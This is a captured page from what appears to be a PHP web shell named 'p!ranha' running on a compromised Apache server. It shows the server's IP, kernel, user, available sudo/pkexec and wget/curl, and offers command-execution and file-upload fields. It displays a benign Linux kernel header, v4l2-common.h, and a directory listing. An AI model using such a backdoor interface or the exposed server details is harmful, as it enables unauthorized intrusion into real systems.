p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/media/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/media/v4l2-common.h
/*
    v4l2 common internal API header

    This header contains internal shared ioctl definitions for use by the
    internal low-level v4l2 drivers.
    Each ioctl begins with VIDIOC_INT_ to clearly mark that it is an internal
    define,

    Copyright (C) 2005  Hans Verkuil <hverkuil@xs4all.nl>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#ifndef V4L2_COMMON_H_
#define V4L2_COMMON_H_

#include <media/v4l2-dev.h>

/* Common printk constucts for v4l-i2c drivers. These macros create a unique
   prefix consisting of the driver name, the adapter number and the i2c
   address. */
#define v4l_printk(level, name, adapter, addr, fmt, arg...) \
	printk(level "%s %d-%04x: " fmt, name, i2c_adapter_id(adapter), addr , ## arg)

#define v4l_client_printk(level, client, fmt, arg...)			    \
	v4l_printk(level, (client)->dev.driver->name, (client)->adapter, \
		   (client)->addr, fmt , ## arg)

#define v4l_err(client, fmt, arg...) \
	v4l_client_printk(KERN_ERR, client, fmt , ## arg)

#define v4l_warn(client, fmt, arg...) \
	v4l_client_printk(KERN_WARNING, client, fmt , ## arg)

#define v4l_info(client, fmt, arg...) \
	v4l_client_printk(KERN_INFO, client, fmt , ## arg)

/* These three macros assume that the debug level is set with a module
   parameter called 'debug'. */
#define v4l_dbg(level, debug, client, fmt, arg...)			     \
	do { 								     \
		if (debug >= (level))					     \
			v4l_client_printk(KERN_DEBUG, client, fmt , ## arg); \
	} while (0)

/* ------------------------------------------------------------------------- */

/* These printk constructs can be used with v4l2_device and v4l2_subdev */
#define v4l2_printk(level, dev, fmt, arg...) \
	printk(level "%s: " fmt, (dev)->name , ## arg)

#define v4l2_err(dev, fmt, arg...) \
	v4l2_printk(KERN_ERR, dev, fmt , ## arg)

#define v4l2_warn(dev, fmt, arg...) \
	v4l2_printk(KERN_WARNING, dev, fmt , ## arg)

#define v4l2_info(dev, fmt, arg...) \
	v4l2_printk(KERN_INFO, dev, fmt , ## arg)

/* These three macros assume that the debug level is set with a module
   parameter called 'debug'. */
#define v4l2_dbg(level, debug, dev, fmt, arg...)			\
	do { 								\
		if (debug >= (level))					\
			v4l2_printk(KERN_DEBUG, dev, fmt , ## arg); 	\
	} while (0)

/* ------------------------------------------------------------------------- */

/* Control helper functions */

int v4l2_ctrl_check(struct v4l2_ext_control *ctrl, struct v4l2_queryctrl *qctrl,
		const char * const *menu_items);
const char *v4l2_ctrl_get_name(u32 id);
const char * const *v4l2_ctrl_get_menu(u32 id);
int v4l2_ctrl_query_fill(struct v4l2_queryctrl *qctrl, s32 min, s32 max, s32 step, s32 def);
int v4l2_ctrl_query_menu(struct v4l2_querymenu *qmenu,
		struct v4l2_queryctrl *qctrl, const char * const *menu_items);
#define V4L2_CTRL_MENU_IDS_END (0xffffffff)
int v4l2_ctrl_query_menu_valid_items(struct v4l2_querymenu *qmenu, const u32 *ids);

/* Note: ctrl_classes points to an array of u32 pointers. Each u32 array is a
   0-terminated array of control IDs. Each array must be sorted low to high
   and belong to the same control class. The array of u32 pointers must also
   be sorted, from low class IDs to high class IDs. */
u32 v4l2_ctrl_next(const u32 * const *ctrl_classes, u32 id);

/* ------------------------------------------------------------------------- */

/* Register/chip ident helper function */

struct i2c_client; /* forward reference */
int v4l2_chip_match_i2c_client(struct i2c_client *c, const struct v4l2_dbg_match *match);
int v4l2_chip_ident_i2c_client(struct i2c_client *c, struct v4l2_dbg_chip_ident *chip,
		u32 ident, u32 revision);
int v4l2_chip_match_host(const struct v4l2_dbg_match *match);

/* ------------------------------------------------------------------------- */

/* I2C Helper functions */

struct i2c_driver;
struct i2c_adapter;
struct i2c_client;
struct i2c_device_id;
struct v4l2_device;
struct v4l2_subdev;
struct v4l2_subdev_ops;


/* Load an i2c module and return an initialized v4l2_subdev struct.
   The client_type argument is the name of the chip that's on the adapter. */
struct v4l2_subdev *v4l2_i2c_new_subdev(struct v4l2_device *v4l2_dev,
		struct i2c_adapter *adapter, const char *client_type,
		u8 addr, const unsigned short *probe_addrs);

struct i2c_board_info;

struct v4l2_subdev *v4l2_i2c_new_subdev_board(struct v4l2_device *v4l2_dev,
		struct i2c_adapter *adapter, struct i2c_board_info *info,
		const unsigned short *probe_addrs);

/* Initialize a v4l2_subdev with data from an i2c_client struct */
void v4l2_i2c_subdev_init(struct v4l2_subdev *sd, struct i2c_client *client,
		const struct v4l2_subdev_ops *ops);
/* Return i2c client address of v4l2_subdev. */
unsigned short v4l2_i2c_subdev_addr(struct v4l2_subdev *sd);

enum v4l2_i2c_tuner_type {
	ADDRS_RADIO,	/* Radio tuner addresses */
	ADDRS_DEMOD,	/* Demod tuner addresses */
	ADDRS_TV,	/* TV tuner addresses */
	/* TV tuner addresses if demod is present, this excludes
	   addresses used by the demodulator from the list of
	   candidates. */
	ADDRS_TV_WITH_DEMOD,
};
/* Return a list of I2C tuner addresses to probe. Use only if the tuner
   addresses are unknown. */
const unsigned short *v4l2_i2c_tuner_addrs(enum v4l2_i2c_tuner_type type);

/* ------------------------------------------------------------------------- */

/* SPI Helper functions */
#if defined(CONFIG_SPI)

#include <linux/spi/spi.h>

struct spi_device;

/* Load an spi module and return an initialized v4l2_subdev struct.
   The client_type argument is the name of the chip that's on the adapter. */
struct v4l2_subdev *v4l2_spi_new_subdev(struct v4l2_device *v4l2_dev,
		struct spi_master *master, struct spi_board_info *info);

/* Initialize a v4l2_subdev with data from an spi_device struct */
void v4l2_spi_subdev_init(struct v4l2_subdev *sd, struct spi_device *spi,
		const struct v4l2_subdev_ops *ops);
#endif

/* ------------------------------------------------------------------------- */

/* Note: these remaining ioctls/structs should be removed as well, but they are
   still used in tuner-simple.c (TUNER_SET_CONFIG), cx18/ivtv (RESET) and
   v4l2-int-device.h (v4l2_routing). To remove these ioctls some more cleanup
   is needed in those modules. */

/* s_config */
struct v4l2_priv_tun_config {
	int tuner;
	void *priv;
};
#define TUNER_SET_CONFIG           _IOW('d', 92, struct v4l2_priv_tun_config)

#define VIDIOC_INT_RESET            	_IOW ('d', 102, u32)

struct v4l2_routing {
	u32 input;
	u32 output;
};

/* ------------------------------------------------------------------------- */

/* Miscellaneous helper functions */

void v4l_bound_align_image(unsigned int *w, unsigned int wmin,
			   unsigned int wmax, unsigned int walign,
			   unsigned int *h, unsigned int hmin,
			   unsigned int hmax, unsigned int halign,
			   unsigned int salign);

struct v4l2_discrete_probe {
	const struct v4l2_frmsize_discrete	*sizes;
	int					num_sizes;
};

const struct v4l2_frmsize_discrete *v4l2_find_nearest_format(
		const struct v4l2_discrete_probe *probe,
		s32 width, s32 height);

bool v4l_match_dv_timings(const struct v4l2_dv_timings *t1,
			  const struct v4l2_dv_timings *t2,
			  unsigned pclock_delta);

bool v4l2_detect_cvt(unsigned frame_height, unsigned hfreq, unsigned vsync,
		u32 polarities, struct v4l2_dv_timings *fmt);

bool v4l2_detect_gtf(unsigned frame_height, unsigned hfreq, unsigned vsync,
		u32 polarities, struct v4l2_fract aspect,
		struct v4l2_dv_timings *fmt);

struct v4l2_fract v4l2_calc_aspect_ratio(u8 hor_landscape, u8 vert_portrait);

void v4l2_get_timestamp(struct timeval *tv);

#endif /* V4L2_COMMON_H_ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
blackfin
--
January 19 2024 08:12:51
0 / 0
0755
davinci
--
January 19 2024 08:12:51
0 / 0
0755
ad9389b.h
1.405 KB
November 06 2023 09:15:52
0 / 0
0644
adp1653.h
4.134 KB
November 06 2023 09:15:52
0 / 0
0644
adv7183.h
1.765 KB
November 06 2023 09:15:52
0 / 0
0644
adv7343.h
2.184 KB
November 06 2023 09:15:52
0 / 0
0644
adv7393.h
0.862 KB
November 06 2023 09:15:52
0 / 0
0644
adv7604.h
4.42 KB
November 06 2023 09:15:52
0 / 0
0644
ak881x.h
0.649 KB
November 06 2023 09:15:52
0 / 0
0644
as3645a.h
2.352 KB
November 06 2023 09:15:52
0 / 0
0644
atmel-isi.h
3.561 KB
November 06 2023 09:15:52
0 / 0
0644
bt819.h
1.146 KB
November 06 2023 09:15:52
0 / 0
0644
cec-notifier.h
4.191 KB
November 06 2023 09:15:52
0 / 0
0644
cec.h
12.034 KB
November 06 2023 09:15:52
0 / 0
0644
cs5345.h
1.182 KB
November 06 2023 09:15:52
0 / 0
0644
cs53l32a.h
1.168 KB
November 06 2023 09:15:52
0 / 0
0644
cx2341x.h
9.777 KB
November 06 2023 09:15:52
0 / 0
0644
cx25840.h
5.383 KB
November 06 2023 09:15:52
0 / 0
0644
gpio-ir-recv.h
0.716 KB
November 06 2023 09:15:52
0 / 0
0644
i2c-addr.h
1.177 KB
November 06 2023 09:15:52
0 / 0
0644
ir-kbd-i2c.h
1.192 KB
November 06 2023 09:15:52
0 / 0
0644
ir-rx51.h
0.159 KB
November 06 2023 09:15:52
0 / 0
0644
lirc.h
6.268 KB
November 06 2023 09:15:52
0 / 0
0644
lirc_dev.h
5.659 KB
November 06 2023 09:15:52
0 / 0
0644
m52790.h
2.721 KB
November 06 2023 09:15:52
0 / 0
0644
m5mols.h
1.052 KB
November 06 2023 09:15:52
0 / 0
0644
media-device.h
2.927 KB
November 06 2023 09:15:52
0 / 0
0644
media-devnode.h
2.938 KB
November 06 2023 09:15:52
0 / 0
0644
media-entity.h
4.681 KB
November 06 2023 09:15:52
0 / 0
0644
mmp-camera.h
0.175 KB
November 06 2023 09:15:52
0 / 0
0644
msp3400.h
8.286 KB
November 06 2023 09:15:52
0 / 0
0644
mt9m032.h
1.061 KB
November 06 2023 09:15:52
0 / 0
0644
mt9p031.h
0.326 KB
November 06 2023 09:15:52
0 / 0
0644
mt9t001.h
0.138 KB
November 06 2023 09:15:52
0 / 0
0644
mt9t112.h
0.674 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v011.h
0.375 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v022.h
0.354 KB
November 06 2023 09:15:52
0 / 0
0644
mt9v032.h
0.246 KB
November 06 2023 09:15:52
0 / 0
0644
noon010pc30.h
0.71 KB
November 06 2023 09:15:52
0 / 0
0644
omap1_camera.h
0.859 KB
November 06 2023 09:15:52
0 / 0
0644
omap3isp.h
4.285 KB
November 06 2023 09:15:52
0 / 0
0644
ov7670.h
0.601 KB
November 06 2023 09:15:52
0 / 0
0644
ov772x.h
1.396 KB
November 06 2023 09:15:52
0 / 0
0644
ov9650.h
0.854 KB
November 06 2023 09:15:52
0 / 0
0644
radio-si4713.h
0.668 KB
November 06 2023 09:15:52
0 / 0
0644
rc-core.h
7.538 KB
November 06 2023 09:15:52
0 / 0
0644
rc-map.h
9.161 KB
November 06 2023 09:15:52
0 / 0
0644
rj54n1cb0c.h
0.415 KB
November 06 2023 09:15:52
0 / 0
0644
s3c_camif.h
1.289 KB
November 06 2023 09:15:52
0 / 0
0644
s5c73m3.h
1.545 KB
November 06 2023 09:15:52
0 / 0
0644
s5k4ecgx.h
0.871 KB
November 06 2023 09:15:52
0 / 0
0644
s5k6aa.h
1.403 KB
November 06 2023 09:15:52
0 / 0
0644
s5p_fimc.h
5.022 KB
November 06 2023 09:15:52
0 / 0
0644
s5p_hdmi.h
0.962 KB
November 06 2023 09:15:52
0 / 0
0644
saa6588.h
1.296 KB
November 06 2023 09:15:52
0 / 0
0644
saa6752hs.h
0.866 KB
November 06 2023 09:15:52
0 / 0
0644
saa7115.h
2.417 KB
November 06 2023 09:15:52
0 / 0
0644
saa7127.h
1.242 KB
November 06 2023 09:15:52
0 / 0
0644
saa7146.h
17.499 KB
November 06 2023 09:15:52
0 / 0
0644
saa7146_vv.h
7.479 KB
November 06 2023 09:15:52
0 / 0
0644
sh_mobile_ceu.h
0.709 KB
November 06 2023 09:15:52
0 / 0
0644
sh_mobile_csi2.h
0.94 KB
November 06 2023 09:15:52
0 / 0
0644
sh_vou.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
si4713.h
1.372 KB
November 06 2023 09:15:52
0 / 0
0644
si476x.h
1.232 KB
November 06 2023 09:15:52
0 / 0
0644
sii9234.h
0.576 KB
November 06 2023 09:15:52
0 / 0
0644
smiapp.h
2.473 KB
November 06 2023 09:15:52
0 / 0
0644
soc_camera.h
12.197 KB
November 06 2023 09:15:52
0 / 0
0644
soc_camera_platform.h
1.928 KB
November 06 2023 09:15:52
0 / 0
0644
soc_mediabus.h
3.564 KB
November 06 2023 09:15:52
0 / 0
0644
sr030pc30.h
0.613 KB
November 06 2023 09:15:52
0 / 0
0644
ths7303.h
1.231 KB
November 06 2023 09:15:52
0 / 0
0644
timb_radio.h
0.971 KB
November 06 2023 09:15:52
0 / 0
0644
timb_video.h
1.01 KB
November 06 2023 09:15:52
0 / 0
0644
tuner-types.h
4.589 KB
November 06 2023 09:15:52
0 / 0
0644
tuner.h
7.64 KB
November 06 2023 09:15:52
0 / 0
0644
tvaudio.h
1.393 KB
November 06 2023 09:15:52
0 / 0
0644
tveeprom.h
0.809 KB
November 06 2023 09:15:52
0 / 0
0644
tvp514x.h
2.758 KB
November 06 2023 09:15:52
0 / 0
0644
tvp5150.h
1.04 KB
November 06 2023 09:15:52
0 / 0
0644
tvp7002.h
1.927 KB
November 06 2023 09:15:52
0 / 0
0644
tw9910.h
0.766 KB
November 06 2023 09:15:52
0 / 0
0644
uda1342.h
0.938 KB
November 06 2023 09:15:52
0 / 0
0644
upd64031a.h
1.324 KB
November 06 2023 09:15:52
0 / 0
0644
upd64083.h
2.233 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-chip-ident.h
9.518 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-common.h
8.094 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-ctrls.h
26.854 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-dev.h
7.441 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-device.h
7.399 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-event.h
5.005 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-fh.h
3.259 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-image-sizes.h
0.702 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-int-device.h
7.663 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-ioctl.h
12.512 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-mediabus.h
3.507 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-mem2mem.h
6.495 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-of.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
v4l2-subdev.h
26.723 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-core.h
6.99 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dma-contig.h
1.037 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dma-sg.h
3.285 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-dvb.h
1.721 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf-vmalloc.h
1.291 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-core.h
19.184 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-dma-contig.h
0.812 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-dma-sg.h
0.797 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-memops.h
1.102 KB
November 06 2023 09:15:52
0 / 0
0644
videobuf2-vmalloc.h
0.497 KB
November 06 2023 09:15:52
0 / 0
0644
wm8775.h
1.358 KB
November 06 2023 09:15:52
0 / 0
0644